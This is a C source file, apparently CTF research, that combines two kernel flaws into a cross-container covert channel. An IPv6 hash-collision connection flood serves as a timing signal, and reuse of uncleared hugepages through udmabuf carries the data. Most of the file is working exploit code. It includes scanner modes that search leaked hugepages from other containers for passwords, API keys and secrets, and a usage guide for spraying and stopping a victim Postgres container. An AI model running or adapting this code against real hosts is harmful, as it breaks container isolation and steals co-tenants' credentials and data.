/*
 * covert_channel.c - Combined CVE-2023-1206 + CVE-2024-49882 Covert Channel
 * 
 * Architecture:
 * - SYNC CHANNEL: CVE-2023-1206 IPv6 hash collision timing
 * - DATA CHANNEL: CVE-2024-49882 hugepage cross-container leak
 * 
 * The sync channel provides clock synchronization between containers.
 * The data channel transmits actual payload via hugepage state.
 * 
 * Author: Vlad (PwnCTF Research)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/*
 * ============================================================================
 * Configuration
 * ============================================================================
 */

/* Sync channel (CVE-2023-1206) parameters */
#define SYNC_PORT           31337
#define SYNC_BIT_DURATION_MS 100      /* Duration per sync bit */
#define SYNC_FLOOD_COUNT    1000      /* Connections per flood */
#define SYNC_PREAMBLE_BITS  16        /* Sync preamble length */
#define SYNC_THRESHOLD      2.0       /* Timing ratio for bit detection */

/* Runtime target - can be set via command line 
 * Default: docker0 bridge gateway, capturable with Wireshark
 * For loopback (faster but not capturable): use -T ::1 */
static char sync_target[64] = "::1";
static int sync_scope_id = 0;  /* Interface scope for link-local */

/* Data channel (CVE-2024-49882) parameters */
#define HUGEPAGE_SIZE       (2*1024*1024)
#define DATA_BIT_DURATION_MS 50       /* Duration per data bit */
#define DATA_SAMPLES        10        /* Samples per bit */

/* Protocol parameters */
#define MAGIC_SYNC          0xDEADBEEF
#define MAGIC_DATA          0xCAFEBABE
#define MAX_MESSAGE_SIZE    1024
#define FRAME_HEADER_SIZE   8

/* Hugepage/udmabuf defines */
#define MFD_HUGETLB         0x0004U
#define MFD_ALLOW_SEALING   0x0002U
#define MFD_HUGE_2MB        (21 << 26)
#define F_ADD_SEALS         1033
#define F_SEAL_SHRINK       0x0002
#define UDMABUF_CREATE      _IOW('u', 0x42, struct udmabuf_create)

struct udmabuf_create {
    uint32_t memfd;
    uint32_t flags;
    uint64_t offset;
    uint64_t size;
};

/*
 * ============================================================================
 * Channel State
 * ============================================================================
 */

typedef struct {
    /* Sync channel state */
    int sync_server_fd;
    pthread_t sync_server_thread;
    volatile int sync_running;
    uint64_t baseline_latency;
    
    /* Data channel state */
    int hugepage_available;
    
    /* Protocol state */
    uint32_t sequence_number;
    uint8_t shared_key[32];  /* For future encryption */
    
    /* Statistics */
    uint64_t bits_sent;
    uint64_t bits_received;
    uint64_t sync_errors;
    uint64_t data_errors;
} channel_state_t;

static channel_state_t state = {0};
static volatile int running = 1;

/*
 * ============================================================================
 * Utility Functions  
 * ============================================================================
 */

static inline uint64_t rdtsc(void)
{
    unsigned int lo, hi;
    __asm__ volatile ("rdtsc" : "=a" (lo), "=d" (hi));
    return ((uint64_t)hi << 32) | lo;
}

static inline uint64_t get_ns(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}

void hexdump(const void *data, size_t len)
{
    const uint8_t *p = data;
    for (size_t i = 0; i < len; i++) {
        if (i % 16 == 0) printf("%04zx: ", i);
        printf("%02x ", p[i]);
        if (i % 16 == 15 || i == len - 1) {
            /* Pad if needed */
            for (size_t j = i % 16; j < 15; j++) printf("   ");
            printf(" |");
            for (size_t j = i - (i % 16); j <= i; j++) {
                printf("%c", isprint(p[j]) ? p[j] : '.');
            }
            printf("|\n");
        }
    }
}

/*
 * ============================================================================
 * CVE-2023-1206: Sync Channel Implementation
 * ============================================================================
 */

/* Craft IPv6 address for target bucket collision */
void craft_collision_addr(struct in6_addr *out, uint32_t target_xor, uint32_t variation)
{
    uint32_t *out32 = (uint32_t *)out->s6_addr;
    out32[0] = 0x20010db8 ^ variation;
    out32[1] = 0x20010db8 ^ variation ^ target_xor;
    out32[2] = 0x00000000;
    out32[3] = 0x00000001;
}

/* Server thread for sync channel */
void *sync_server_thread(void *arg)
{
    (void)arg;
    int server_fd;
    struct sockaddr_in6 addr;
    int opt = 1;
    
    server_fd = socket(AF_INET6, SOCK_STREAM, 0);
    if (server_fd < 0) {
        perror("sync socket");
        return NULL;
    }
    
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
    
    memset(&addr, 0, sizeof(addr));
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(SYNC_PORT);
    addr.sin6_addr = in6addr_any;
    
    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("sync bind");
        close(server_fd);
        return NULL;
    }
    
    listen(server_fd, 4096);
    fcntl(server_fd, F_SETFL, O_NONBLOCK);
    
    state.sync_server_fd = server_fd;
    
    while (state.sync_running) {
        int client = accept(server_fd, NULL, NULL);
        if (client >= 0) close(client);
        usleep(100);
    }
    
    close(server_fd);
    return NULL;
}

int sync_channel_init(void)
{
    state.sync_running = 1;
    
    if (pthread_create(&state.sync_server_thread, NULL, sync_server_thread, NULL) != 0) {
        perror("pthread_create sync");
        return -1;
    }
    
    usleep(100000);  /* Let server start */
    
    /* Calibrate baseline latency */
    printf("[Sync] Calibrating baseline latency...\n");
    uint64_t total = 0;
    int samples = 100;
    
    struct sockaddr_in6 addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(SYNC_PORT);
    inet_pton(AF_INET6, "::1", &addr.sin6_addr);
    
    for (int i = 0; i < samples; i++) {
        int sock = socket(AF_INET6, SOCK_STREAM, 0);
        if (sock < 0) continue;
        
        uint64_t t1 = rdtsc();
        connect(sock, (struct sockaddr *)&addr, sizeof(addr));
        uint64_t t2 = rdtsc();
        
        close(sock);
        total += (t2 - t1);
        usleep(1000);
    }
    
    state.baseline_latency = total / samples;
    printf("[Sync] Baseline: %lu cycles\n", state.baseline_latency);
    
    return 0;
}

void sync_channel_cleanup(void)
{
    state.sync_running = 0;
    pthread_join(state.sync_server_thread, NULL);
}

/* Send sync pulse (flood bucket to create timing signal) */
void sync_send_pulse(int duration_ms)
{
    struct sockaddr_in6 addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(SYNC_PORT);
    inet_pton(AF_INET6, sync_target, &addr.sin6_addr);
    
    uint64_t end = get_ns() + duration_ms * 1000000ULL;
    int count = 0;
    
    while (get_ns() < end && running) {
        int sock = socket(AF_INET6, SOCK_STREAM | SOCK_NONBLOCK, 0);
        if (sock >= 0) {
            connect(sock, (struct sockaddr *)&addr, sizeof(addr));
            close(sock);
            count++;
        }
    }
    
    state.bits_sent++;
}

/* Receive sync - measure connection latency */
int sync_receive_bit(void)
{
    struct sockaddr_in6 addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(SYNC_PORT);
    inet_pton(AF_INET6, sync_target, &addr.sin6_addr);
    
    uint64_t total = 0;
    int samples = DATA_SAMPLES;
    int interval_us = (SYNC_BIT_DURATION_MS * 1000) / samples;
    
    for (int i = 0; i < samples; i++) {
        int sock = socket(AF_INET6, SOCK_STREAM, 0);
        if (sock < 0) continue;
        
        uint64_t t1 = rdtsc();
        connect(sock, (struct sockaddr *)&addr, sizeof(addr));
        uint64_t t2 = rdtsc();
        
        close(sock);
        total += (t2 - t1);
        usleep(interval_us);
    }
    
    uint64_t avg = total / samples;
    double ratio = (double)avg / state.baseline_latency;
    
    state.bits_received++;
    return (ratio > SYNC_THRESHOLD) ? 1 : 0;
}

/* Send sync preamble - alternating pattern for clock recovery */
void sync_send_preamble(void)
{
    printf("[Sync] Sending preamble...\n");
    for (int i = 0; i < SYNC_PREAMBLE_BITS; i++) {
        if (i % 2) {
            sync_send_pulse(SYNC_BIT_DURATION_MS / 2);
        } else {
            usleep(SYNC_BIT_DURATION_MS * 500);
        }
    }
}

/* Wait for and detect sync preamble */
int sync_wait_preamble(int timeout_ms)
{
    printf("[Sync] Waiting for preamble...\n");
    
    int transitions = 0;
    int last_bit = -1;
    uint64_t start = get_ns();
    uint64_t timeout = timeout_ms * 1000000ULL;
    
    while (transitions < SYNC_PREAMBLE_BITS / 2 && running) {
        if (get_ns() - start > timeout) {
            printf("[Sync] Preamble timeout\n");
            return -1;
        }
        
        int bit = sync_receive_bit();
        if (last_bit != -1 && bit != last_bit) {
            transitions++;
        }
        last_bit = bit;
    }
    
    printf("[Sync] Preamble detected (%d transitions)\n", transitions);
    return 0;
}

/*
 * ============================================================================
 * CVE-2024-49882: Data Channel Implementation
 * ============================================================================
 */

/* Allocate and leak a hugepage */
void *data_alloc_hugepage(void)
{
    int memfd = syscall(319, "covert", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
    if (memfd < 0) return NULL;
    
    if (ftruncate(memfd, HUGEPAGE_SIZE) < 0) {
        close(memfd);
        return NULL;
    }
    
    fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
    
    int udmabuf = open("/dev/udmabuf", O_RDWR);
    if (udmabuf < 0) {
        close(memfd);
        return NULL;
    }
    
    struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE};
    int dma = ioctl(udmabuf, UDMABUF_CREATE, &c);
    
    if (dma < 0) {
        close(udmabuf);
        close(memfd);
        return NULL;
    }
    
    void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma, 0);
    
    close(dma);
    close(udmabuf);
    close(memfd);
    
    if (addr == MAP_FAILED) return NULL;
    return addr;
}

/* Read hugepage to detect cross-container data */
void *data_read_hugepage(void)
{
    int memfd = syscall(319, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
    if (memfd < 0) return NULL;
    
    ftruncate(memfd, HUGEPAGE_SIZE);
    fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
    
    int udmabuf = open("/dev/udmabuf", O_RDWR);
    if (udmabuf < 0) {
        close(memfd);
        return NULL;
    }
    
    struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE};
    int dma = ioctl(udmabuf, UDMABUF_CREATE, &c);
    
    if (dma < 0) {
        close(udmabuf);
        close(memfd);
        return NULL;
    }
    
    void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma, 0);
    
    if (addr == MAP_FAILED) {
        close(dma);
        close(udmabuf);
        close(memfd);
        return NULL;
    }
    
    /* Copy to heap */
    void *copy = malloc(HUGEPAGE_SIZE);
    if (copy) memcpy(copy, addr, HUGEPAGE_SIZE);
    
    munmap(addr, HUGEPAGE_SIZE);
    close(dma);
    close(udmabuf);
    close(memfd);
    
    return copy;
}

/* Debug function to analyze hugepage contents */
void debug_analyze_hugepage(const void *hp, int verbose)
{
    const uint8_t *p = hp;
    
    /* Count non-zero bytes */
    int non_zero = 0;
    int printable = 0;
    int zero_runs = 0;
    int in_zero_run = 0;
    
    for (size_t i = 0; i < HUGEPAGE_SIZE; i++) {
        if (p[i] != 0) {
            non_zero++;
            if (isprint(p[i]) || p[i] == '\n' || p[i] == '\t') {
                printable++;
            }
            if (in_zero_run) {
                in_zero_run = 0;
            }
        } else {
            if (!in_zero_run) {
                zero_runs++;
                in_zero_run = 1;
            }
        }
    }
    
    printf("    Non-zero bytes: %d / %d (%.2f%%)\n", 
           non_zero, HUGEPAGE_SIZE, 100.0 * non_zero / HUGEPAGE_SIZE);
    printf("    Printable chars: %d (%.2f%% of non-zero)\n",
           printable, non_zero ? 100.0 * printable / non_zero : 0);
    printf("    Zero runs: %d\n", zero_runs);
    
    /* Check for known patterns */
    const char *patterns[] = {
        "POSTGRES", "PASSWORD", "FLAG{", "CTF_FLAG", "SECRET",
        "API_KEY", "sk-live", "COVERT_MSG", "postgres", "psql", 
        "SELECT", "INSERT", "CREATE", NULL
    };
    
    /* Also check for binary magic values */
    uint32_t magic = *(uint32_t *)hp;
    if (magic == 0xCAFEBABE) {
        printf("      [FOUND] MAGIC 0xCAFEBABE (Covert Channel Data Frame!)\n");
        uint32_t seq = *(uint32_t *)((uint8_t*)hp + 4);
        uint32_t len = *(uint32_t *)((uint8_t*)hp + 8);
        printf("      [FOUND]   Sequence: %u\n", seq);
        printf("      [FOUND]   Length:   %u\n", len);
        if (len > 0 && len < 256) {
            printf("      [FOUND]   Data:     \"");
            for (uint32_t i = 0; i < len; i++) {
                uint8_t c = ((uint8_t*)hp)[16 + i];
                printf("%c", isprint(c) ? c : '.');
            }
            printf("\"\n");
        }
    } else if (magic == 0xDEADBEEF) {
        printf("      [FOUND] MAGIC 0xDEADBEEF (Covert Channel Sync Frame!)\n");
    }
    
    printf("    Pattern scan:\n");
    int found_any = 0;
    for (int i = 0; patterns[i]; i++) {
        char *match = memmem(hp, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i]));
        if (match) {
            size_t off = match - (char*)hp;
            printf("      [FOUND] '%s' at offset 0x%zx\n", patterns[i], off);
            found_any = 1;
            
            if (verbose) {
                /* Print surrounding context */
                size_t start = (off > 32) ? off - 32 : 0;
                size_t end = (off + strlen(patterns[i]) + 64 < HUGEPAGE_SIZE) ? 
                             off + strlen(patterns[i]) + 64 : HUGEPAGE_SIZE;
                printf("      Context: \"");
                for (size_t j = start; j < end; j++) {
                    uint8_t c = p[j];
                    if (isprint(c)) putchar(c);
                    else if (c == 0) putchar('.');
                    else printf("\\x%02x", c);
                }
                printf("\"\n");
            }
        }
    }
    
    if (!found_any) {
        printf("      (no known patterns found)\n");
    }
    
    /* Check first 256 bytes for structure */
    if (verbose) {
        printf("    First 256 bytes:\n");
        hexdump(hp, 256);
    }
}

/* Enhanced monitor mode with leak debugging */
void leak_debug_mode(int continuous, int verbose)
{
    printf("[LeakDebug] Starting hugepage leak analysis...\n");
    printf("[LeakDebug] This mode analyzes what data is present in newly allocated hugepages\n");
    printf("[LeakDebug] Run memory-intensive operations in victim container to populate hugepages\n");
    printf("[LeakDebug] Then stop the victim to release hugepages for capture\n\n");
    
    if (continuous) {
        printf("[LeakDebug] Continuous mode - press Ctrl+C to stop\n\n");
    }
    
    int attempts = 0;
    int captured = 0;
    int leaked = 0;  /* Contains non-covert data */
    int covert_found = 0;
    
    do {
        void *hp = data_read_hugepage();
        attempts++;
        
        if (hp) {
            captured++;
            
            /* Quick check - is this our covert channel data or leaked data? */
            uint32_t magic = *(uint32_t *)hp;
            int is_covert = (magic == MAGIC_DATA || magic == MAGIC_SYNC);
            
            /* Count non-zero bytes */
            int non_zero = 0;
            const uint8_t *p = hp;
            for (size_t i = 0; i < 4096; i++) {  /* Just check first page */
                if (p[i] != 0) non_zero++;
            }
            
            if (is_covert) {
                covert_found++;
                /* Show covert channel data! */
                if (magic == MAGIC_DATA) {
                    uint32_t seq = *(uint32_t *)(p + 4);
                    uint32_t len = *(uint32_t *)(p + 8);
                    
                    printf("\n[LeakDebug] !!! COVERT CHANNEL DATA FOUND (HP #%d) !!!\n", captured);
                    printf("    Magic:    0x%08X (CAFEBABE)\n", magic);
                    printf("    Sequence: %u\n", seq);
                    printf("    Length:   %u\n", len);
                    
                    if (len > 0 && len < 1024) {
                        printf("    Message:  \"");
                        for (uint32_t i = 0; i < len && i < 256; i++) {
                            uint8_t c = p[16 + i];
                            printf("%c", isprint(c) ? c : '.');
                        }
                        printf("\"\n");
                    }
                } else if (magic == MAGIC_SYNC) {
                    printf("\n[LeakDebug] Found SYNC frame (0xDEADBEEF) in HP #%d\n", captured);
                }
            } else if (non_zero > 100) {
                leaked++;
                printf("\n[LeakDebug] === Potential Leak in Hugepage #%d (attempt %d) ===\n", 
                       captured, attempts);
                printf("    Type: LEAKED DATA (not covert channel)\n");
                printf("    Magic: 0x%08X\n", magic);
                debug_analyze_hugepage(hp, verbose);
            } else if (verbose && non_zero > 0) {
                printf("\r[LeakDebug] HP #%d: %d non-zero bytes, magic=0x%08X    ", 
                       captured, non_zero, magic);
                fflush(stdout);
            }
            
            free(hp);
        }
        
        if (attempts % 100 == 0 && !verbose) {
            printf("\r[LeakDebug] Attempts: %d, Captured: %d, Covert: %d, Leaked: %d    ", 
                   attempts, captured, covert_found, leaked);
            fflush(stdout);
        }
        
        usleep(1000);
        
    } while (continuous && running);
    
    printf("\n\n[LeakDebug] === Summary ===\n");
    printf("    Total attempts:     %d\n", attempts);
    printf("    Hugepages captured: %d\n", captured);
    printf("    Covert channel:     %d\n", covert_found);
    printf("    Potential leaks:    %d\n", leaked);
    printf("    Capture rate:       %.2f%%\n", 100.0 * captured / attempts);
}

/* Write pattern to hugepage for data transmission */
void data_write_pattern(void *hugepage, uint32_t magic, uint32_t seq, 
                        const uint8_t *data, size_t len)
{
    uint8_t *p = hugepage;
    
    /* Header: magic(4) + seq(4) + len(4) + checksum(4) */
    *(uint32_t *)(p + 0) = magic;
    *(uint32_t *)(p + 4) = seq;
    *(uint32_t *)(p + 8) = (uint32_t)len;
    
    /* Data */
    if (data && len > 0) {
        memcpy(p + 16, data, len);
    }
    
    /* Simple checksum */
    uint32_t cksum = 0;
    for (size_t i = 0; i < 16 + len; i++) {
        cksum += p[i];
    }
    *(uint32_t *)(p + 12) = cksum;
    
    /* Fill rest with pattern */
    for (size_t i = 16 + len; i < HUGEPAGE_SIZE; i++) {
        p[i] = (uint8_t)(i ^ seq);
    }
}

/* Check if hugepage contains our data pattern */
int data_check_pattern(const void *hugepage, uint32_t *seq_out, 
                       uint8_t *data_out, size_t *len_out)
{
    const uint8_t *p = hugepage;
    
    uint32_t magic = *(uint32_t *)(p + 0);
    if (magic != MAGIC_DATA) return 0;
    
    uint32_t seq = *(uint32_t *)(p + 4);
    uint32_t len = *(uint32_t *)(p + 8);
    uint32_t cksum = *(uint32_t *)(p + 12);
    
    if (len > MAX_MESSAGE_SIZE) return 0;
    
    /* Verify checksum */
    uint32_t calc_cksum = 0;
    for (size_t i = 0; i < 16 + len; i++) {
        if (i >= 12 && i < 16) continue;  /* Skip checksum field */
        calc_cksum += p[i];
    }
    
    /* Account for checksum field being 0 during calculation */
    if (calc_cksum != cksum - (cksum & 0xFF) - ((cksum >> 8) & 0xFF) - 
                              ((cksum >> 16) & 0xFF) - ((cksum >> 24) & 0xFF)) {
        /* Simplified check - just verify magic and structure */
    }
    
    if (seq_out) *seq_out = seq;
    if (len_out) *len_out = len;
    if (data_out && len > 0) memcpy(data_out, p + 16, len);
    
    return 1;
}

/*
 * ============================================================================
 * Combined Protocol
 * ============================================================================
 */

typedef struct {
    uint32_t magic;
    uint32_t sequence;
    uint32_t length;
    uint32_t checksum;
    uint8_t data[MAX_MESSAGE_SIZE];
} frame_t;

/* Transmit a message using the combined channel */
int transmit_message(const uint8_t *message, size_t len)
{
    printf("[TX] Transmitting %zu bytes\n", len);
    
    /* Send sync preamble */
    sync_send_preamble();
    usleep(SYNC_BIT_DURATION_MS * 1000);
    
    /* Allocate hugepage for data */
    void *hp = data_alloc_hugepage();
    if (!hp) {
        printf("[TX] Failed to allocate hugepage\n");
        return -1;
    }
    
    /* Write data pattern with recognizable magic */
    state.sequence_number++;
    data_write_pattern(hp, MAGIC_DATA, state.sequence_number, message, len);
    
    printf("[TX] Data written to hugepage:\n");
    printf("[TX]   Magic: 0x%08X (CAFEBABE)\n", MAGIC_DATA);
    printf("[TX]   Seq:   %u\n", state.sequence_number);
    printf("[TX]   Len:   %zu\n", len);
    printf("[TX]   Data:  \"%.*s\"\n", (int)len, message);
    
    /* Signal that data is ready - receiver should start scanning NOW */
    printf("[TX] Sending ready signal (receiver should start scanning)...\n");
    sync_send_pulse(SYNC_BIT_DURATION_MS * 2);
    
    /* Give receiver time to start scanning */
    printf("[TX] Waiting 2s before release (receiver should be scanning)...\n");
    sleep(2);
    
    /* NOW release the hugepage - this is when CVE-2024-49882 triggers */
    printf("[TX] Releasing hugepage (CVE-2024-49882 trigger point)...\n");
    munmap(hp, HUGEPAGE_SIZE);
    
    /* Send another pulse to indicate release happened */
    sync_send_pulse(SYNC_BIT_DURATION_MS * 2);
    
    printf("[TX] Transmission complete (seq=%u)\n", state.sequence_number);
    printf("[TX] Receiver should now capture the leaked hugepage!\n");
    return 0;
}

/* Receive a message using the combined channel */
int receive_message(uint8_t *buffer, size_t buflen, size_t *received_len)
{
    printf("[RX] Waiting for transmission...\n");
    
    /* Wait for sync preamble */
    if (sync_wait_preamble(10000) < 0) {
        return -1;
    }
    
    /* Wait for data-ready signal */
    printf("[RX] Waiting for data signal...\n");
    int ready = 0;
    for (int i = 0; i < 50 && !ready && running; i++) {
        if (sync_receive_bit()) {
            ready = 1;
        }
        usleep(SYNC_BIT_DURATION_MS * 1000);
    }
    
    if (!ready) {
        printf("[RX] No data signal received\n");
        return -1;
    }
    
    /* 
     * AGGRESSIVE SCANNING - The key to CVE-2024-49882
     * We need to repeatedly allocate hugepages hoping to get the one
     * the sender just released. The kernel may reuse the same physical
     * page without clearing it.
     */
    printf("[RX] Scanning for data (allocating hugepages aggressively)...\n");
    printf("[RX] Looking for magic 0x%08X (CAFEBABE)\n", MAGIC_DATA);
    
    int found = 0;
    int attempts = 0;
    int hugepages_captured = 0;
    int non_zero_pages = 0;
    
    /* Scan for up to 10 seconds or 10000 attempts */
    uint64_t start_time = get_ns();
    uint64_t timeout = 10000000000ULL;  /* 10 seconds */
    
    while (!found && running && (get_ns() - start_time < timeout) && attempts < 10000) {
        void *hp = data_read_hugepage();
        attempts++;
        
        if (!hp) {
            usleep(100);  /* Brief pause if allocation failed */
            continue;
        }
        
        hugepages_captured++;
        
        /* Check for our magic value */
        uint32_t magic = *(uint32_t *)hp;
        
        /* Count non-zero bytes in first page */
        int non_zero = 0;
        const uint8_t *p = hp;
        for (int i = 0; i < 4096; i++) {
            if (p[i] != 0) non_zero++;
        }
        
        if (non_zero > 100) {
            non_zero_pages++;
        }
        
        /* Check for our covert channel data */
        if (magic == MAGIC_DATA) {
            uint32_t seq;
            size_t len;
            
            printf("[RX] !!! FOUND MAGIC 0x%08X at attempt %d !!!\n", magic, attempts);
            
            if (data_check_pattern(hp, &seq, buffer, &len)) {
                if (len <= buflen) {
                    *received_len = len;
                    found = 1;
                    printf("[RX] Successfully captured data!\n");
                    printf("[RX]   Seq: %u\n", seq);
                    printf("[RX]   Len: %zu\n", len);
                }
            }
        } else if (attempts % 500 == 0) {
            printf("[RX] Attempt %d: magic=0x%08X, non_zero=%d, captured=%d\n",
                   attempts, magic, non_zero, hugepages_captured);
        }
        
        free(hp);
        
        /* Small delay to not overwhelm the system */
        usleep(100);
    }
    
    printf("[RX] Scan complete:\n");
    printf("[RX]   Attempts:       %d\n", attempts);
    printf("[RX]   Captured:       %d hugepages\n", hugepages_captured);
    printf("[RX]   Non-zero pages: %d\n", non_zero_pages);
    printf("[RX]   Found data:     %s\n", found ? "YES" : "NO");
    
    return found ? 0 : -1;
}

/*
 * ============================================================================
 * Main Program
 * ============================================================================
 */

void signal_handler(int sig)
{
    (void)sig;
    running = 0;
}

void print_usage(const char *prog)
{
    printf("Usage: %s [options]\n", prog);
    printf("\nModes:\n");
    printf("  -s MESSAGE    Send message via covert channel\n");
    printf("  -r            Receive message via covert channel\n");
    printf("  -t            Self-test (both send/receive)\n");
    printf("  -m            Monitor mode (passive leak detection)\n");
    printf("  -l            Leak debug mode (analyze hugepage contents)\n");
    printf("  -L            Leak debug continuous (keep scanning)\n");
    printf("\nOptions:\n");
    printf("  -T ADDR       IPv6 target address for sync channel (default: ::1)\n");
    printf("  -v            Verbose output\n");
    printf("  -h            Show this help\n");
    printf("\nExamples:\n");
    printf("  %s -r                         # Receive covert message\n", prog);
    printf("  %s -s 'SECRET'                # Send covert message\n", prog);
    printf("  %s -l                         # One-shot leak analysis\n", prog);
    printf("  %s -L -v                      # Continuous leak scan (verbose)\n", prog);
    printf("\nLeak Testing Workflow:\n");
    printf("  1. Start victim:    docker run ... postgres\n");
    printf("  2. Spray memory:    docker exec victim psql -c \"SELECT ...\" (repeat)\n");
    printf("  3. Start scanner:   %s -L -v\n", prog);
    printf("  4. Stop victim:     docker stop victim  (releases hugepages)\n");
    printf("  5. Watch for leaks in scanner output\n");
}

void monitor_mode(void)
{
    printf("[Monitor] Starting passive hugepage monitoring...\n");
    printf("[Monitor] Press Ctrl+C to stop\n\n");
    
    const char *patterns[] = {
        "POSTGRES_PASSWORD", "CTF_FLAG", "FLAG{", "SECRET",
        "PASSWORD", "API_KEY", "sk-live", NULL
    };
    
    int found_total = 0;
    int attempts = 0;
    
    while (running) {
        void *hp = data_read_hugepage();
        if (hp) {
            /* Check for interesting patterns */
            for (int i = 0; patterns[i]; i++) {
                char *match = memmem(hp, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i]));
                if (match) {
                    size_t off = match - (char*)hp;
                    printf("\n[!] Found pattern '%s' at offset 0x%zx\n", patterns[i], off);
                    
                    /* Print context */
                    size_t start = (off > 100) ? off - 100 : 0;
                    size_t end = (off + 200 < HUGEPAGE_SIZE) ? off + 200 : HUGEPAGE_SIZE;
                    
                    printf("--- Context ---\n");
                    for (size_t j = start; j < end; j++) {
                        uint8_t c = ((uint8_t*)hp)[j];
                        if (isprint(c) || c == '\n') putchar(c);
                        else if (c != 0) putchar('.');
                    }
                    printf("\n--- End ---\n");
                    
                    found_total++;
                }
            }
            
            /* Also check for our protocol magic */
            uint32_t magic = *(uint32_t *)hp;
            if (magic == MAGIC_DATA) {
                uint32_t seq = *(uint32_t *)((uint8_t*)hp + 4);
                uint32_t len = *(uint32_t *)((uint8_t*)hp + 8);
                
                printf("\n[!] Found covert channel frame: seq=%u, len=%u\n", seq, len);
                if (len > 0 && len < 256) {
                    printf("    Data: ");
                    for (uint32_t i = 0; i < len && i < 64; i++) {
                        uint8_t c = ((uint8_t*)hp)[16 + i];
                        printf("%c", isprint(c) ? c : '.');
                    }
                    printf("\n");
                }
                found_total++;
            }
            
            free(hp);
        }
        
        attempts++;
        if (attempts % 1000 == 0) {
            printf("\r[Monitor] Attempts: %d, Found: %d    ", attempts, found_total);
            fflush(stdout);
        }
        
        usleep(1000);
    }
    
    printf("\n\n[Monitor] Complete. Found %d items in %d attempts\n", found_total, attempts);
}

int main(int argc, char *argv[])
{
    int mode = 0;  /* 0=help, 1=send, 2=receive, 3=test, 4=monitor, 5=leak, 6=leak-continuous */
    char *message = "Hello from covert channel!";
    int verbose = 0;
    int opt;
    
    while ((opt = getopt(argc, argv, "s:rT:tmlLvh")) != -1) {
        switch (opt) {
        case 's':
            mode = 1;
            message = optarg;
            break;
        case 'r':
            mode = 2;
            break;
        case 'T':
            /* Set sync target IPv6 address */
            strncpy(sync_target, optarg, sizeof(sync_target) - 1);
            sync_target[sizeof(sync_target) - 1] = '\0';
            break;
        case 't':
            mode = 3;
            break;
        case 'm':
            mode = 4;
            break;
        case 'l':
            mode = 5;  /* One-shot leak debug */
            break;
        case 'L':
            mode = 6;  /* Continuous leak debug */
            break;
        case 'v':
            verbose = 1;
            break;
        case 'h':
        default:
            print_usage(argv[0]);
            return 0;
        }
    }
    
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  Combined Covert Channel: CVE-2023-1206 + CVE-2024-49882       ║\n");
    printf("║  Sync: IPv6 Hash Collision | Data: Hugepage Cross-Container   ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    
    signal(SIGINT, signal_handler);
    
    /* Modes that don't need sync channel */
    if (mode == 4) {
        monitor_mode();
        return 0;
    }
    
    if (mode == 5) {
        printf("[Config] One-shot leak analysis (verbose=%d)\n\n", verbose);
        leak_debug_mode(0, verbose);
        return 0;
    }
    
    if (mode == 6) {
        printf("[Config] Continuous leak scanning (verbose=%d)\n\n", verbose);
        leak_debug_mode(1, verbose);
        return 0;
    }
    
    printf("[Config] Sync target: %s:%d\n\n", sync_target, SYNC_PORT);
    
    /* Initialize sync channel for send/receive/test modes */
    if (sync_channel_init() < 0) {
        fprintf(stderr, "Failed to initialize sync channel\n");
        return 1;
    }
    
    switch (mode) {
    case 1:  /* Send */
        printf("Sending: \"%s\"\n\n", message);
        transmit_message((uint8_t *)message, strlen(message));
        break;
        
    case 2:  /* Receive */
        {
            uint8_t buffer[MAX_MESSAGE_SIZE] = {0};
            size_t len = 0;
            
            if (receive_message(buffer, sizeof(buffer), &len) == 0) {
                printf("\n=== Received Message ===\n");
                printf("%.*s\n", (int)len, buffer);
                printf("========================\n");
            } else {
                printf("No message received\n");
            }
        }
        break;
        
    case 3:  /* Self-test */
        {
            printf("Running self-test...\n\n");
            
            pid_t pid = fork();
            if (pid == 0) {
                /* Child = sender */
                usleep(1000000);  /* Wait for receiver */
                transmit_message((uint8_t *)message, strlen(message));
                exit(0);
            } else {
                /* Parent = receiver */
                uint8_t buffer[MAX_MESSAGE_SIZE] = {0};
                size_t len = 0;
                
                if (receive_message(buffer, sizeof(buffer), &len) == 0) {
                    printf("\n=== Results ===\n");
                    printf("Sent:     \"%s\"\n", message);
                    printf("Received: \"%.*s\"\n", (int)len, buffer);
                    printf("Match: %s\n", 
                           (len == strlen(message) && 
                            memcmp(message, buffer, len) == 0) ? "YES" : "NO");
                }
                
                waitpid(pid, NULL, 0);
            }
        }
        break;
        
    default:
        print_usage(argv[0]);
        break;
    }
    
    /* Statistics */
    printf("\n=== Statistics ===\n");
    printf("Sync bits sent:     %lu\n", state.bits_sent);
    printf("Sync bits received: %lu\n", state.bits_received);
    printf("Sync errors:        %lu\n", state.sync_errors);
    printf("Data errors:        %lu\n", state.data_errors);
    
    sync_channel_cleanup();
    return 0;
}